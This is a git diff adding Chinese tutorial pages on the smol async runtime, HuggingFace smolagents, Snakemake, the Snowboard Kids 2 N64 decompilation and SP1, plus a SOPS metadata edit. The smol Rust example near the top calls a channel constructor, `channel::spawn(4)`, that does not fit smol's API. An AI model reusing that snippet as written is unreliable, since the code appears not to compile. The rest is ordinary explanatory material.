+use smol::{channel, Executor};
+use std::time::Duration;
+
+fn main() -> smol::io::Result<()> {
+    // 创建一个局部的单线程执行器
+    let ex = Executor::new();
+
+    // 创建一个容量为 4 的异步通道
+    let (tx, rx) = channel::spawn(4);
+
+    ex.run(async {
+        // 启动 5 个"生产者"任务：每个发送一些数字
+        for i in 0..5 {
+            let tx = tx.clone();
+            smol::spawn(async move {
+                // 模拟一些异步工作（等待 100 毫秒）
+                smol::Timer::after(Duration::from_millis(100 * (i as u64 + 1))).await;
+                println!("Task {} sending: {}", i, i * 10);
+                tx.send(i * 10).await.unwrap();
+            });
+        }
+
+        // 在同一个执行器中接收所有消息
+        for _ in 0..5 {
+            let val = rx.recv().await.unwrap();
+            println!("Received: {}", val);
+        }
+    })
+}
+```
+
+关键行为：
+
+- `Executor::new()` 创建一个局部执行器
+- `channel::spawn(4)` 创建一个容量为 4 的异步通道。多个任务可以向 `tx` 发消息，`rx` 逐一接收
+- `smol::spawn(...)` 把每个闭包派发到执行器上并发运行
+- `Timer::after(...)` 异步等待一段时间，不阻塞线程
+- `ex.run(...)` 运行 async 块，直到所有任务完成
+
+这个程序会输出类似：
+
+```
+Task 0 sending: 0
+Received: 0
+Task 1 sending: 10
+Received: 10
+Task 2 sending: 20
+Received: 20
+Task 3 sending: 30
+Received: 30
+Task 4 sending: 40
+Received: 40
+```
+
+每个任务依次等待更长时间后发送，执行器逐个推进。
+
+## smol vs Tokio：怎么选？
+
+| | smol | Tokio |
+|---|---|---|
+| 体积 | ~30KB 编译产物 | 数 MB |
+| 编译速度 | 秒级 | 分钟级 |
+| 生态 | 小而精，核心够用 | 庞大，啥都有 |
+| 适用场景 | CLI 工具、小服务、嵌入式 | 大型后端服务、高并发场景 |
+| 学习曲线 | 低 | 较高 |
+| 线程调度 | 单线程默认，可多线程 | 内置多线程调度器 |
+
+smol 的设计哲学是"够用就好"。如果你的项目不需要 Tokio 的全部重量，smol 是更优雅的选择。
+
+## 兼容 tokio
+
+smol 提供了 `async-compat` 适配器，可以用 tokio 的库（或反之）。这意味着 smol 的生态不是孤岛，可以和 tokio 生态互通。
+
+## 总结
+
+smol 用组合而非重造的方式，把 Rust 异步生态中最核心的 11 个 crate 装进一个箱子。它证明了"小而美"不只是口号——11 个 crate、一个统一 API、零额外依赖，就能构建出一个完整的异步运行时。
+
+对于初学者来说，smol 也是更好的学习入口：它的源码比 Tokio 更简短易读，适合逐步理解 async runtime 的工作原理。
diff --git a/src/content/docs/projects/smolagents.md b/src/content/docs/projects/smolagents.md
new file mode 100644
index 000000000..18247b379
--- /dev/null
+++ b/src/content/docs/projects/smolagents.md
@@ -0,0 +1,212 @@
+---
+title: smolagents — HuggingFace 极简 Agent 框架
+来源: https://github.com/huggingface/smolagents
+日期: 2026-06-13
+分类: 机器学习
+子分类: ai-agent-infra
+provenance: pipeline-v3
+---
+
+# smolagents — HuggingFace 极简 Agent 框架
+
+## 什么是 Agent？
+
+先想象一个场景：你让朋友去计划一次东京之旅，说"帮我规划 3 月 28 日到 4 月 7 日的东京行程，包含京都和大阪"。
+
+你的朋友不会直接给你答案，而是会做这些事：
+
+1. 先上网查东京的天气
+2. 再搜索景点推荐
+3. 然后查酒店价格
+4. 最后把所有信息整理成一份行程
+
+这个过程——**自己决定做什么、查什么、怎么组合信息来完成任务**——就是 AI Agent 的核心思想。
+
+传统 AI 聊天机器人你问一句它答一句。Agent 则不同：它能**自主拆解任务、调用工具、循环执行**，最终给出完整答案。
+
+## smolagents 是什么？
+
+smolagents 是 HuggingFace 开源的一个 Python 库，名字里的 "smol" 就是 "small" 的可爱缩写。它的理念极其朴素：**用最少代码实现最强 Agent 能力**。
+
+作者说了一句大实话：smolagents 的核心代码只有大约 1,000 行。他们刻意不发明新轮子，而是把已有的好东西（LLM 调用、工具系统、代码执行）用最简洁的方式组合起来。
+
+> smolagents 的格言：如果我们自己看不懂这段代码，那用户就更看不懂了。
+
+## 核心概念
+
+### 1. CodeAgent — 用代码写行动的 Agent
+
+这是 smolagents 最核心的创新。传统 Agent 跟 LLM 沟通时，会让它输出类似这样的 JSON：
+
+```json
+{
+  "tool": "web_search",
+  "query": "巴黎天气"
+}
+```
+
+smolagents 反其道而行：**让 Agent 直接写 Python 代码**。
+
+类比：传统方式就像你跟厨师说"请做一道菜"，厨师每次都要先填一张申请单。CodeAgent 方式则是直接把锅铲塞给厨师——它自己会炒菜。
+
+代码里的工具调用就是普通函数调用。Agent 可以自然地使用循环、条件判断、变量赋值，因为它写的就是真正的 Python。
+
+### 2. ToolCallingAgent — 传统方式
+
+如果你更喜欢传统的 JSON/tool-calling 方式，smolagents 也提供了 ToolCallingAgent。它跟其他框架（如 LangChain）的体验类似。
+
+### 3. 模型无关（Model-agnostic）
+
+smolagents 不绑定任何特定 LLM。你可以用：
+
+- HuggingFace 的免费推理 API（InferenceClientModel）
+- OpenAI、Anthropic（通过 LiteLLM）
+- 本地跑的 transformers 模型
+- Ollama、Azure、Amazon Bedrock 等
+
+### 4. 工具生态（Tool-agnostic）
+
+可以从 MCP 服务器、LangChain、HuggingFace Space 获取工具，也可以自己写工具。
+
+### 5. ReAct 循环
+
+Agent 内部跑的是 ReAct 循环（Reasoning + Acting）：
+
+```
+思考 → 执行工具 → 看到结果 → 再次思考 → 再次执行 → ... → 给出最终答案
+```
+
+CodeAgent 的特别之处在于"执行工具"这一步是用写代码完成的。
+
+## 代码示例
+
+### 示例 1：最简单的 Agent（一句话运行）
+
+安装：`pip install "smolagents[toolkit]"`
+
+```python
+from smolagents import CodeAgent, WebSearchTool, InferenceClientModel
+
+# 用 HuggingFace 的免费推理 API 初始化模型（默认模型）
+model = InferenceClientModel()
+
+# 创建一个 CodeAgent，给它一个网络搜索工具
+agent = CodeAgent(
+    tools=[WebSearchTool()],
+    model=model,
+)
+
+# 让 Agent 回答问题
+result = agent.run(
+    "一只猎豹以最高速度跑完 Pont des Arts 桥需要多少秒？"
+)
+print(result)
+```
+
+这段代码里 Agent 会自己完成以下动作：
+
+1. 搜索猎豹的最高速度
+2. 搜索 Pont des Arts 桥的长度
+3. 用代码计算时间 = 距离 / 速度
+4. 返回答案
+
+它不需要你告诉它每一步怎么做——它自己会拆解。
+
+### 示例 2：自定义工具 + 指定模型
+
+```python
+import os
+from smolagents import CodeAgent, InferenceClientModel
+from smolagents.tools import tool
+
+# 第一步：写一个自定义工具
+@tool
+def calculate_discount(price: float, discount_percent: float) -> float:
+    """计算打折后的价格。输入原价和折扣百分比（0-100），返回折后价。"""
+    return price * (1 - discount_percent / 100)
+
+# 第二步：指定使用哪个 LLM（这里用 DeepSeek-R1）
+model = InferenceClientModel(
+    model_id="deepseek-ai/DeepSeek-R1",
+    provider="together",
+)
+
+# 第三步：创建 Agent，把自定义工具放进去
+agent = CodeAgent(
+    tools=[calculate_discount],
+    model=model,
+)
+
+# 第四步：运行任务
+result = agent.run(
+    "一件原价 299 元的衣服打 7 折后多少钱？如果再打 9 折呢？"
+)
+print(result)
+```
+
+Agent 拿到这个任务后，会自己决定：
+
+1. 调用 `calculate_discount(299, 30)` 计算第一次折扣
+2. 用第一步的结果再次调用 `calculate_discount(结果, 10)` 计算第二次折扣
+3. 把两步结果整理成自然语言回答
+
+## 代码 Agent 为什么更好？
+
+HuggingFace 做了基准测试，发现 CodeAgent 比传统 JSON tool-calling 方式：
+
+- **少调用 LLM 约 30%**（因为代码天然支持循环和条件判断，不需要反复"思考-调用-思考"）
+- **在复杂任务上准确率更高**
+
+类比：传统方式像每次转弯都要问路人"现在该左转还是右转？"，CodeAgent 方式像是你心里已经画好了整条路线，直接开就行。
+
+## 安全注意
+
+因为 Agent 执行的是真实代码，有安全隐患。smolagents 提供几种安全的代码执行环境：
+
+- **E2B、Modal、Blaxel** — 云端沙箱，最简单，适合生产环境
+- **Docker** — 本地容器隔离
+- **LocalPythonExecutor** — 内置执行器，只有基础限制，**不作为安全边界**，不能用来执行不可信代码
+
+## 还能做什么？
+
+smolagents 的能力远不止文字对话：
+
+- **视觉**：能处理图片、视频输入
+- **浏览器操作**：自带 `webagent` 命令，能自动浏览网页、点击按钮、抓取数据
+- **多 Agent 协作**：可以创建主 Agent 管理多个子 Agent
+- **分享 Agent**：一键把 Agent 推到 HuggingFace Hub，变成可分享的空间
+
+CLI 命令行工具也很有意思：
+
+```bash
+# 一键启动一个带网络搜索的 Agent
+smolagent "规划东京、京都、大阪的旅行行程" --model-type "InferenceClientModel"
+
+# 自动浏览器 Agent：搜商品、比价、抓取详情
+webagent "去 xyz.com/men 找到第一个打折商品，抓取价格和详情" --model-type "LiteLLMModel"
+```
+
+## 和其他框架对比
+
+| | smolagents | LangChain | AutoGen |
+|---|---|---|---|
+| 核心代码量 | ~1,000 行 | 数万字 | 数万行 |
+| 学习方式 | 易上手 | 学习曲线陡 | 中等 |
+| 代码优先 | 是 | 工具调用 JSON | 多 Agent 协作 |
+| 模型支持 | 极广（100+） | 广 | 中等 |
+| 适合场景 | 快速原型、个人项目 | 企业级复杂流程 | 多 Agent 研究 |
+
+smolagents 的哲学是：如果一件事能用 3 行代码搞定，就不该用 30 行。
+
+## 总结
+
+smolagents 用最少的抽象做了最多的事。它的核心洞察很简单：**让 AI 写代码比让 AI 输出 JSON 字典更有效**。
+
+对于初学者，smolagents 是理解 Agent 概念的最佳入口——代码量少到你可以逐行读懂整个框架，同时又强大到能完成真实任务。
+
+---
+
+参考：
+- GitHub: https://github.com/huggingface/smolagents
+- 文档: https://huggingface.co/docs/smolagents
+- 官方博客: https://huggingface.co/blog/smolagents
diff --git a/src/content/docs/projects/snakemake.md b/src/content/docs/projects/snakemake.md
new file mode 100644
index 000000000..a6988c70b
--- /dev/null
+++ b/src/content/docs/projects/snakemake.md
@@ -0,0 +1,202 @@
+---
+title: Snakemake 零基础学习笔记
+来源: https://github.com/snakemake/snakemake
+日期: 2026-06-13
+分类: 机器学习
+子分类: 生物信息
+provenance: pipeline-v3
+---
+
+# Snakemake 零基础学习笔记
+
+## 一、什么是 Snakemake？
+
+Snakemake 是一个用来**编排数据处理流程**的工具。它帮你自动决定：
+
+1. 每一步该做什么
+2. 每一步依赖上一步的结果
+3. 哪些步骤可以并行跑
+4. 哪些步骤的结果已经是最新的、不需要重做
+
+## 二、一个日常类比
+
+想象你在做一道复杂的菜，需要好几个步骤：
+
+- 第一步：洗菜切菜
+- 第二步：把切好的菜下锅炒
+- 第三步：把炒好的菜装盘
+- 第四步：拍照发朋友圈
+
+这些步骤之间有**依赖关系**：你不能先把菜装盘再切菜，也不能没洗菜就直接炒。
+
+Snakemake 就像你的**厨房助手**：
+
+- 你告诉它："我要最终那盘菜"
+- 它自己推算出需要先洗菜、再切菜、再炒菜
+- 如果你上次已经炒过菜了，而且食材没变，它就跳过炒菜这步
+- 如果你换了食材，它就知道需要重新炒菜
+
+在 Snakemake 里，每道菜是一个 **rule（规则）**，每种食材和成品是一个 **file（文件）**。
+
+## 三、核心概念
+
+### 1. Snakefile
+
+Snakefile 是 Snakemake 的"剧本"，所有规则写在这里。它用 Python 语法，但加了一些声明式的结构。
+
+### 2. Rule（规则）
+
+一个规则包含三个关键部分：
+
+- **input**：输入文件（依赖）
+- **output**：输出文件（产物）
+- **shell** 或 **script**：要执行的命令
+
+### 3. Wildcard（通配符）
+
+通配符让你写一个"模板规则"，能匹配多种具体的输入输出。比如 `{sample}` 可以代表 A、B、C 等不同样本。
+
+### 4. DAG（有向无环图）
+
+Snakemake 把所有规则之间的关系画成一张图，自动计算执行顺序。图里有循环就不行（所以叫"无环"）。
+
+### 5. 增量执行
+
+如果输出文件已经存在，且对应的输入文件和规则都没变，Snakemake 就跳过这步。这让跑大流程非常快。
+
+## 四、代码示例
+
+### 示例 1：数据处理流水线
+
+这是最经典的用法——把多个工具串成一条流水线：
+
+```python
+# Snakefile
+
+# 定义要处理的样本列表
+SAMPLES = ["sample_A", "sample_B", "sample_C"]
+
+# 总目标：告诉 Snakemake 最终想要什么
+rule all:
+    input:
+        "results/report.html"
+
+# 规则 1：数据清洗
+rule clean_data:
+    input:
+        "data/raw/{sample}.csv"
+    output:
+        "data/clean/{sample}.csv"
+    shell:
+        "python scripts/clean.py {input} {output}"
+
+# 规则 2：统计分析
+rule analyze:
+    input:
+        "data/clean/{sample}.csv"
+    output:
+        "results/{sample}_stats.txt"
+    shell:
+        "python scripts/analyze.py {input} > {output}"
+
+# 规则 3：生成汇总报告
+rule generate_report:
+    input:
+        expand("results/{sample}_stats.txt", sample=SAMPLES)
+    output:
+        "results/report.html"
+    shell:
+        "pandoc results/*.txt -o {output}"
+```
+
+**执行方式：**
+
+```bash
+# 只处理单个样本
+snakemake results/sample_A_stats.txt --cores 2
+
+# 处理所有样本
+snakemake --cores 4
+
+# 模拟执行（不真的跑，只看计划）
+snakemake -np
+```
+
+Snakemake 会自动画出这样的依赖图：
+
+```
+clean_data(sample_A)  →  analyze(sample_A)
+clean_data(sample_B)  →  analyze(sample_B)
+clean_data(sample_C)  →  analyze(sample_C)
+                                            ↓
+                              generate_report
+```
+
+三条分析线可以并行跑，最后汇总报告等所有分析都完成后才跑。
+
+### 示例 2：带参数化的基因分析流水线
+
+这个示例展示了通配符和命名输入的用法：
+
+```python
+# Snakefile
+
+rule bwa_map:
+    input:
+        genome="data/genome.fa",
+        reads="data/samples/{sample}.fastq"
+    output:
+        "mapped_reads/{sample}.bam"
+    shell:
+        "bwa mem {input.genome} {input.reads} | "
+        "samtools view -Sb - > {output}"
+
+rule samtools_sort:
+    input:
+        "mapped_reads/{sample}.bam"
+    output:
+        "sorted_reads/{sample}.bam"
+    shell:
+        "samtools sort -T sorted_reads/{wildcards.sample} "
+        "-O bam {input} > {output}"
+
+rule samtools_index:
+    input:
+        "sorted_reads/{sample}.bam"
+    output:
+        "sorted_reads/{sample}.bam.bai"
+    shell:
+        "samtools index {input}"
+```
+
+**关键理解：**
+
+- `{sample}` 是通配符，Snakemake 看到目标 `mapped_reads/sample_A.bam` 时，自动把 `{sample}` 替换为 `sample_A`
+- `input.genome` 和 `input.reads` 是命名输入，在命令里用 `{input.genome}` 引用
+- `{wildcards.sample}` 可以在 shell 命令里直接拿到通配符的值
+- 所有 input/output 路径里**必须包含相同的通配符集合**
+
+## 五、为什么用 Snakemake？
+
+| 场景 | 不用 Snakemake | 用 Snakemake |
+|------|--------------|------------|
+| 手动跑 10 个脚本 | 靠记忆，容易漏步骤 | 写一次 Snakefile，自动编排 |
+| 换了输入数据 | 手动重跑所有步骤 | 自动检测哪些需要重跑 |
+| 多核并行 | 自己写并行脚本 | 一条 `--cores` 参数搞定 |
+| 换到集群上跑 | 改写所有命令 | 改配置就行，流程不变 |
+| 给同事分享 | 扔一堆脚本和文档 | 一个 Snakefile + 说明 |
+
+## 六、常用命令速查
+
+- `snakemake --cores 1` — 用 1 个核心运行
+- `snakemake -np` — 模拟运行，不实际执行（dry run）
+- `snakemake target_file` — 指定最终目标文件
+- `snakemake --forcerun rule_name` — 强制重跑某个规则
+- `snakemake --dag | dot -Tsvg > dag.svg` — 生成依赖图
+
+## 七、学习建议
+
+1. 先看懂示例 1 的"清洗→分析→报告"三步流水线，这是最通用的模式
+2. 自己创建一个 Snakefile 试跑，观察 Snakemake 的日志输出
+3. 第二次跑同样的流程，观察 Snakemake 跳过已完成的步骤
+4. 再尝试示例 2 的通配符用法，理解 {sample} 的传递机制
diff --git a/src/content/docs/projects/snowboard-kids-2-decomp.md b/src/content/docs/projects/snowboard-kids-2-decomp.md
new file mode 100644
index 000000000..6587b7bf4
--- /dev/null
+++ b/src/content/docs/projects/snowboard-kids-2-decomp.md
@@ -0,0 +1,221 @@
+---
+title: Snowboard Kids 2 100% 反编译 — 把 N64 卡带「翻译」成可读 C 代码
+来源: 'https://github.com/cdlewis/snowboardkids2-decomp'
+日期: 2026-06-13
+子分类: 类型与 PL 理论
+分类: 编程语言
+provenance: pipeline-v3
+难度: 中级
+---
+
+## 是什么
+
+2026 年 5 月，N64 经典滑雪竞速游戏 **Snowboard Kids 2**（日版名 *Chou Snobow Kids*）宣布达成 **100% matching decompilation**：仓库里每一个游戏函数都有对应的 C 实现，用现代工具链编译后生成的 MIPS 汇编，与 1999 年卡带 ROM 里的字节级结果一致。进度看板 [decomp.dev/cdlewis/snowboardkids2-decomp](https://decomp.dev/cdlewis/snowboardkids2-decomp) 显示约 **694 KB 代码**与 **18.56 MB 数据段**已全部匹配。
+
+日常类比：原版 ROM 像一本只印了「机器语」的绝版书——你能玩，但没人看得懂剧情怎么写的。matching 反编译不是「猜个大概能跑」，而是**逐页对照**，用 C 重写每一章，再印刷出一本与原版逐字相同的复刻本。你手里仍需要合法持有的原卡带/ROM 作为「母本」；仓库本身**不包含**游戏资产与商业 ROM，只提供逆向出来的源码与构建脚本。
+
+项目主页：[cdlewis/snowboardkids2-decomp](https://github.com/cdlewis/snowboardkids2-decomp)。维护者 Chris Lewis 在 [项目博客](https://blog.chrislewis.au/) 与 NeoGAF/Hacker News 上说明：里程碑意义在于把「一堆 MIPS 汇编写成的黑盒」变成可读、可构建、可研究、可 mod 的代码库——为 **recompilation（原生重编译到 PC 等平台）**、资源提取与机制分析铺路。注意：反编译仓库**不是** PC 移植本身；PC 可玩版本是并行的 [Snowboard Kids 2: Recompiled](https://github.com/snowboardkids2/snowboardkids2-recomp) 一类工作。
+
+## 为什么重要
+
+不了解这类 N64 反编译项目，很难理解近几年复古游戏社区的几次「质变」：
+
+- **SM64、Ocarina of Time、Pilotwings 64** 等 matching decomp 完成后，社区出现了大量机制 mod、60fps 补丁、调试菜单——因为改的是**有类型的 C**，不是在海量十六进制里盲改。
+- **「100% 反编译」≠「完全读懂」**：函数可能仍叫 `func_80041234`，结构体字段仍靠猜；但**构建闭环**（重编译 ROM 校验通过）证明行为与原版等价，后续命名与文档可以渐进完成。
+- **AI 辅助反编译**在 2024–2026 的 Snowboard Kids 2 项目上被系统验证：早期 one-shot 能把匹配率从约 25% 拉到 58%，尾部的图形 display list、矩阵运算等「长尾函数」仍要靠社区、相似函数检索、人工与更新一代模型硬啃。
+- **法律与伦理边界**：项目声明为 clean-room、非商业、需自备合法 ROM；不接受泄露源码或专有知识的贡献——这与「随便下个 ROM 就能发 PC 版」不是一回事。
+
+## 核心概念
+
+### 1. Matching decompilation（匹配式反编译）
+
+目标不是「写一个看起来像的游戏」，而是：
+
+```
+合法持有的原版 ROM  →  提取资产 + 分析机器码  →  人工/工具写 C
+                                                      ↓
+                                            编译 + 链接 + 打包
+                                                      ↓
+                              新 ROM 与原版 SHA1 / 逐函数 asm diff 完全一致
+```
+
+N64 游戏主 CPU 是 **MIPS R4300**，图形走 **RDP** 与 **F3DEX2** 等微码库。Snowboard Kids 2 使用任天堂标准 F3DEX2，比「游戏自带奇葩微码」的项目友好一些，但 **display list**（GPU 指令字节流）仍是最难啃的骨头之一。
+
+### 2. 仓库里各目录分工
+
+| 路径 | 作用 |
+|------|------|
+| `src/` | 已（或部分）反编译出的 C 源码 |
+| `include/` | 结构体、常量、对外声明 |
+| `asm/nonmatchings/` | 尚未匹配函数的原始汇编（每函数一文件） |
+| `asm/matchings/` | 已匹配函数的汇编快照，便于对照 |
+| `assets/` | 从 ROM 提取的二进制资产（贴图、音频等） |
+| `lib/` | 链接用的库代码（如 Ultralib） |
+| `tools/` | asm-differ、decomp 环境脚本、校验工具 |
+
+未匹配函数在 C 里通常以 **占位宏** 形式「引用」汇编文件，匹配成功后再替换成真正的 C 实现。
+
+### 3. INCLUDE_ASM 占位与替换
+
+反编译进行中的典型模式：C 文件里暂时拉入汇编，而不是空函数 stub：
+
+```c
+// src/game/player.c（示意：进行中的常见写法）
+
+#include "common.h"
+
+// 尚未匹配时：直接嵌入从 ROM 抠出的 MIPS 汇编
+INCLUDE_ASM("asm/nonmatchings/game/player/update_player_physics");
+
+void init_player(PlayerState* player) {
+    player->speed = 0;
+    player->airborne = FALSE;
+}
+```
+
+当 `update_player_physics` 在 [decomp.me](https://decomp.me/) 或本地 scratch 里 **100% match** 后，删掉 `INCLUDE_ASM` 行，换成等价 C（项目要求尽量用结构体字段访问，避免裸指针算术）：
+
+```c
+void update_player_physics(PlayerState* player, f32 delta) {
+    if (player->airborne) {
+        player->velocity.y -= GRAVITY * delta;
+    }
+    player->position.x += player->velocity.x * delta;
+    player->position.y += player->velocity.y * delta;
+    player->position.z += player->velocity.z * delta;
+}
+```
+
+然后必须跑完整构建校验——**单个函数在 scratch 里匹配**，不等于全项目仍能通过 ROM checksum。
+
+### 4. 构建与「OK」判据
+
+官方 README 给出的流程（Linux x86 已验证；Windows/macOS 仍在贡献 wishlist 中）：
+
+```bash
+# 1. 克隆含子模块
+git clone --recurse-submodules -j8 git@github.com:cdlewis/snowboardkids2-decomp.git
+cd snowboardkids2-decomp
+
+# 2. 准备工具链与 Python 依赖
+make setup
+python3 -m venv .venv && source .venv/bin/activate
+python3 -m pip install -U -r requirements.txt
+
+# 3. 自备大端 Snowboard Kids 2 ROM，命名为 snowboardkids2.z64 放在仓库根目录
+make clean
+make extract    # 从 ROM 提取资产到 assets/
+make            # 编译并链接
+
+# 唯一公认的成功标准：
+# build/snowboardkids2.z64: OK
+```
+
+`OK` 表示重生成的 ROM 与目标校验和一致。维护者在 agent 工作流里用 `./tools/build-and-verify.sh` 防止「改校验和假装成功」这类事故；改结构体后还要对**同文件内所有相关函数**跑 asm-differ，避免牵一发而动全身。
+
+### 5. asm-differ：逐指令对照
+
+```bash
+# 查看某函数：编译出的汇编 vs ROM 中提取的汇编
+python3 tools/asm-differ/diff.py --no-pager update_player_physics
+```
+
+输出会标出哪条 MIPS 指令或哪个寄存器分配不一致。反编译者据此微调 C：换临时变量顺序、改 `s32`/`u32`、加 `volatile`、乃至在极少数行保留 `__asm__` 内联——Snowboard Kids 2 在 100% 时仍承认少量 asm hack 存在。
+
+### 6. 反编译 vs 重编译（decomp vs recomp）
+
+| | Matching decomp | Native recompilation |
+|--|----------------|----------------------|
+| 产物 | 与原版相同的 `.z64` ROM | Windows/Linux 等原生可执行文件 |
+| 是否需要原版 ROM 参与构建 | 是（提取资产 + 对照） | 通常链接反编译产物 + 平台 shim |
+| 典型目标 | 证明等价、方便读代码与 mod 逻辑 | 宽屏、高帧率、现代输入、联机 |
+| 本项目 | [snowboardkids2-decomp](https://github.com/cdlewis/snowboardkids2-decomp) | 社区中的 Recompiled 分支（宽屏、视距等已有演示） |
+
+两者是流水线上下站：没有可读、可构建的 C，原生移植只能停留在模拟器套壳；有了 100% decomp，PC 版可以真正编译为 x86_64/ARM 机器码，而不是模拟 MIPS。
+
+### 7. 工具链与社区生态
+
+- **[decomp.dev](https://decomp.dev/)**：各项目匹配率、历史曲线、CI 徽章。
+- **[decomp.me](https://decomp.me/)**：在线 scratch，协作匹配单个函数。
+- **N64 decompilation Discord**：Snowboard Kids 2 最后十个最难函数由 Bl00D4NGEL、inspectredc、SlaveOfIDO、queueRAM 等与维护者协作完成。
+- **相似函数检索**：后期用 Coddog、嵌入向量等方式找「长得像」的已匹配函数，给 LLM 当 few-shot 参考，比单纯按「指令条数」排序更有效。
+- **Docker + mips 交叉工具链**：`binutils-mips-linux-gnu` 等依赖保证编译出的汇编与 1999 年 IDO 编译器习惯对齐。
+
+### 8. AI 辅助的真实边界（Chris Lewis 博客要点）
+
+- **前 50% 往往快**：coding agent 对中等复杂度 C 函数 one-shot 成功率高。
+- **长尾极难**：超过约 1000 条指令的巨型函数、F3DEX2 display list 宏展开、矩阵/向量数学——模型容易「放弃」或产出能编译但不匹配的 C。
+- **Permuter**（暴力重排表达式以蹭匹配）与 agent 结合容易引入脏代码，该项目后期曾停用 permuter 以免陷入噪声优化。
+- **工程纪律**：git worktree 并行、Claude hooks 禁止改 SHA1、任务编排器（如 Nigel）批量跑「重命名」「文档化」循环——说明这是**软件工程问题**，不只是「让模型看一眼汇编」。
+
+## 实践案例
+
+### 案例 1：从零验证「我真的在复刻卡带」
+
+假设你已有合法 ROM，只想确认环境没骗人：
+
+```bash
+cd snowboardkids2-decomp
+sha1sum snowboardkids2.z64    # 记录原版指纹（与项目文档/US 版一致）
+make clean && make extract && make
+sha1sum build/snowboardkids2.z64
+# 若脚本输出 build/snowboardkids2.z64: OK，说明重编译产物与目标一致
+```
+
+若 `make` 失败在链接或数据段，常见原因是 ROM 区域版本不对（需 **big-endian US** 命名 `snowboardkids2.z64`）或子模块未拉取完整。
+
+### 案例 2：认领一个 nonmatching 函数
+
+1. 在 [未匹配列表](https://chrislewis.au/snowboardkids2-decomp/) 或 `asm/nonmatchings/` 选一个函数。
+2. 运行项目脚本进入 isolated scratch（README/CLAUDE.md 中的 `./tools/claude-decomp.sh <name>` 一类入口）。
+3. 写 `base.c`、`base_2.c`… 迭代直到 `diff.py` 全绿。
+4. 回到主仓库替换 `INCLUDE_ASM`，跑 `./tools/build-and-verify.sh`。
+5. 提交 PR；**不得**基于泄露源码或从未玩过的「内部知识」。
+
+贡献清单里长期欢迎：消 compiler warning、把 `D_80123456` 改成语义化名字、用结构体替换指针算术、补充 cheat code / 关卡加载文档——100% 匹配只是「可读性的起点」。
+
+## 与相近项目的对比
+
+| 项目 | 平台 | 状态（约 2026） | 备注 |
+|------|------|-----------------|------|
+| Snowboard Kids 2 decomp | N64 | **100% code matched** | 本笔记主题；AI+社区混合 |
+| Super Mario 64 decomp | N64 | 早已 100% | 模改与学术研究标杆 |
+| Zelda OOT / MM decomp | N64 | 100% | 机制分析、随机izer 基础 |
+| Pilotwings 64 decomp | N64 | 100% | 体量较小 |
+| Mario Golf 64 | N64 | 进行中 | 社区多条 N64 线并行 |
+
+Snowboard Kids 2 的特殊性在于：**中等体量、F3DEX2 标准图形栈、强烈怀旧属性但长期缺官方移植**——100% decomp 直接点燃了「宽屏 PC 版 + 可能的 SK1+SK2 合集」想象，但法律上仍依赖个人持有原版与社区非商业约定。
+
+## 常见问题
+
+**Q：仓库能直接让我免费玩吗？**  
+不能。没有 ROM 就无法 `make extract`；没有资产与匹配代码也编不出可玩镜像。Recompiled 发行若出现，也会是独立仓库与合规叙事。
+
+**Q：100% 了为什么还说「工作在进行」？**  
+命名、结构体清理、资产 YAML 化、去掉 `__asm__`、SK1 反编译、Super Snowboard Kids 合集构想——这些是「理解游戏」层的工作，不匹配率不等于完成度。
+
+**Q：想学反编译，从哪入门？**  
+先读 [decomp.me](https://decomp.me/) 教程与任意小型 N64 子系统；读 Chris Lewis 系列文章：《Using Coding Agents to Decompile Nintendo 64 Games》《The Long Tail of LLM-Assisted Decompilation》；在 Discord 里看别人 scratch。Snowboard Kids 2 已是**成熟期项目**，新手更适合从仍有 nonmatchings 或文档更友好的 decomp 入手，再把这里当「终点形态」参考。
+
+**Q：和模拟器有什么关系？**  
+模拟器在运行时解释 MIPS；decomp 在开发时把 MIPS **还原成 C 再编译回 MIPS**。Recomp 则跳过 MIPS，直接生成主机原生代码。玩家最终可能三者都接触不到，但维护者路径不同。
+
+## 小结
+
+Snowboard Kids 2 的 **100% matching decompilation**（2026 年 5 月宣布，[decomp.dev](https://decomp.dev/cdlewis/snowboardkids2-decomp) 持续跟踪）把一款 1999 年的 N64 竞速游戏从「只能模拟器里跑的 ROM」变成了**可验证等价、可 fork、可文档化**的 C 工程。核心手法是：ROM 提取资产、`INCLUDE_ASM` 渐进替换、asm-differ 逐函数对齐、`build/snowboardkids2.z64: OK` 作为唯一验收标准。
+
+对零基础学习者，最值得带走的三句话：
+
+1. **Matching** 追求的是字节级等价，不是「玩法差不多」。  
+2. **社区 + 工具链 + 纪律化 CI** 与模型一样重要，尾部函数往往靠人收尾。  
+3. **Decomp 是源代码里程碑，Recomp 才是玩家眼里的「上 PC」**——两者相关，但仓库职责不同。
+
+若你关心 N64 硬件、复古移植或 LLM 在软件考古中的边界，Snowboard Kids 2 是目前（2026）最能同时看到「热血成果」与「诚实长尾」的公开案例之一。
+
+## 延伸阅读
+
+- 仓库 README 与 [Contributing](https://github.com/cdlewis/snowboardkids2-decomp/blob/main/README.md)
+- 进度看板：[decomp.dev — Snowboard Kids 2](https://decomp.dev/cdlewis/snowboardkids2-decomp)
+- 维护者博客：[Snowboard Kids 2 is 100% Decompiled](https://blog.chrislewis.au/) 及 LLM 辅助反编译系列
+- 讨论串：[NeoGAF](https://www.neogaf.com/threads/snowboard-kids-2-is-100-decompiled.1696938/) / [Hacker News](https://news.ycombinator.com/item?id=48284494)
+- 相似生态：[@n64decomp](https://github.com/n64decomp) 组织下各项目、Zelda 反编译 Wiki 风格文档
diff --git a/src/content/docs/projects/sops.md b/src/content/docs/projects/sops.md
index 141b13908..663737927 100644
--- a/src/content/docs/projects/sops.md
+++ b/src/content/docs/projects/sops.md
@@ -2,7 +2,7 @@
 title: SOPS — 让密码也能放心进 Git
 来源: https://github.com/getsops/sops
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: security
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/sp1-succinct.md b/src/content/docs/projects/sp1-succinct.md
new file mode 100644
index 000000000..da05912ce
--- /dev/null
+++ b/src/content/docs/projects/sp1-succinct.md
@@ -0,0 +1,229 @@
+---
+title: SP1 - 零知识虚拟机入门
+来源: https://github.com/succinctlabs/sp1
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 密码与零知识
+provenance: pipeline-v3
+---
+
+# SP1 - 零知识虚拟机入门
+
+## 一、从日常类比开始
+
+想象你请了一位朋友帮你算一道非常复杂的数学题。算完之后，他告诉你答案是 42。
+
+你会相信他吗？最保险的方式是自己重新算一遍——但如果这道题要花你一整天呢？
+
